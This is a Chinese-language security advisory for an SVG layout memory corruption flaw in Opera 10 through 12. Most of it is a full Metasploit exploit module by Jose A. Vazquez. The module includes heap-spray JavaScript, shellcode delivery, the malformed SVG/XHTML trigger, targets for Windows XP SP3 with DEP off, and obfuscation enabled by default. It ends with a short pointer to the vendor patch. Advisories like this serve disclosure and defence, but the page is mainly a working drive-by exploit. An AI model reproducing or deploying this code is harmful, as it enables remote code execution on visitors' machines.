安全研究
安全漏洞
Opera Web Browser SVG布局内存破坏漏洞
发布日期：2011-10-26
更新日期：2011-10-26
受影响系统：
Opera Software Opera Web Browser 12描述：
Opera Software Opera Web Browser 11.x
Opera Software Opera Web Browser 10.x
BUGTRAQ ID: 50044
Opera为来自挪威的一个浏览器。
Opera Web Browser在实现上存在内存破坏漏洞，远程攻击者可利用此漏洞执行任意代码，可能会造成拒绝服务。
<*来源：Jose A. Vazquez
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the bad nesting with SVG tags. Successfully exploiting
leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off).
Best results of reliability using Opera v12.00 pre-alpha r1076 whereas that v11.xx will have less
success (depending of opera.dll version). This module won't work against v10.xx because it was
modified to exploit Opera upper to v11.
Read the lastest references for further details.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jose A. Vazquez'
],
'Version' => '$Revision: 0011 $',
'References' =>
[
['URL', 'http://www.beyondsecurity.com/ssd.html'],
['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'], # English
['URL', 'http://enred20.org/node/27'] # Spanish
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
# spray of ~ 450 MB.
[ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)',
{
'Method' => 'usual',
'MaxOffset' => nil,
'MaxSize' => nil,
'MaxBlocks' => 900,
'Ret' => 0x0c0c0c0c
}
],
# Thanks to sinn3r of metasploit.com for this method.
[ 'Opera Browser (v11.xx) / Windows XP SP3 (DEP-off)',
{
'Method' => 'precise-allocation-size',
'MaxOffset' => 0x800,
'MaxSize' => 0x80000,
'MaxBlocks' => 0x500,
'Ret' => 0x0c0c0c0c
}
]
],
'DisclosureDate' => '0day',
'DefaultTarget' => 0))
#Apply obfuscation by default
register_options(
[
OptBool.new('OBFUSCATE', [false, 'JavaScript obfuscation', true])
], self.class)
end
def on_request_uri(cli, request)
mytarget = target
if(request.uri =~ /\.xhtml$/)
#Send file for trigger the vulnerability
html = %Q|
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg">
<head>
<meta http-equiv="refresh" content="0;url=" />
</head>
<select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' >
<svt:svg>
<svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' >
<svt:svg>
<svt:font>
<svt:animateMotion>
feFuncR
</svt:animateMotion>
</svt:font>
</svt:svg>
</svt:title>
</svt:svg>
</select1>
</html>
|
#Send triggerer
print_status("Sending stage 2 (Triggering the vulnerability)")
var_contentype = 'application/xhtml+xml'
else
#Sending init HTML
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (Method: #{mytarget['Method']} / Target: #{mytarget.name})")
return if ((p = regenerate_payload(cli)) == nil)
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
addr_word = [mytarget.ret].pack('V').unpack('H*')[0][0,4]
var_timer_trigger = (rand(3) + 2) * 1000
var_file_trigger = rand_text_alpha(rand(30)+2)
#Build the exploit
var_url = ((datastore['SSL']) ? "https://" : "http://")
var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
var_url << ":" + datastore['SRVPORT']
var_url << get_resource
#Choose the heap spray method
if(mytarget['Method'] == 'usual')
spray_js = <<-JS
var shell = unescape("#{shellcode}");
var size = shell.length * 2;
var nopsize = 0x100000 - (size + 0x14);
var nopsled = unescape("%u#{addr_word}");
while(nopsled.length * 2 < nopsize) {
nopsled += nopsled;
}
var blocks = new Array();
for (var x = 0; x < #{mytarget['MaxBlocks']}; x++) {
blocks[x] = nopsled + shell;
}
function TriggerVuln(){
document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
}
JS
else
#
# Tested on Opera v11.5x but it's not working on Opera v12.00 pre-alpha
#
# /*
# * Heap spray for Opera that uses VirtualAlloc
# * Arguments:
# * @blocks - an emtpy array
# * @code - the payload
# * @offset - padding to align the code
# * @chunk_max - max size for each allocation
# * @blocks_max - max blocks
# */
#
#
spray_js = <<-JS
function heap_spray(blocks, code, offset, chunk_max, blocks_max) {
if (chunk_max < 0x7F000) {
throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc";
}
chunk_max /= 2;
var nops = unescape("%u0c0c%u0c0c");
while (nops.length < chunk_max) nops += nops;
var offset_chunk = nops.substr(0, offset-code.length);
var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length);
while (block.length % 8 != 0) block += unescape("%u0c");
var shellcode = block.substr(0, (chunk_max-0x1c)/2);
for (var i=0; i < blocks_max; i++) {
blocks[i] = shellcode + unescape("%u0c0c");
}
}
var blocks = new Array();
var code = unescape("#{shellcode}");
heap_spray(blocks, code, #{mytarget['MaxOffset']}, #{mytarget['MaxSize']}, #{mytarget['MaxBlocks']});
function TriggerVuln(){
document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
}
JS
end
if datastore['OBFUSCATE'] == true
spray_js = ::Rex::Exploitation::JSObfu.new(spray_js)
spray_js.obfuscate
trigger_sym = spray_js.sym('TriggerVuln')
spray_js = spray_js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});"
else
spray_js = spray_js.to_s + "setTimeout('TriggerVuln()',#{var_timer_trigger});"
end
html = %Q|
<html>
<head>
<script type="text/javascript">
#{spray_js}
</script>
</head>
<html>
|
print_status("Sending stage 1 (Spraying the heap)")
var_contentype = 'text/html'
end
#Response
send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
#Handle the payload
handler(cli)
end
end
建议：
厂商补丁：
Opera Software
--------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.opera.com/support/
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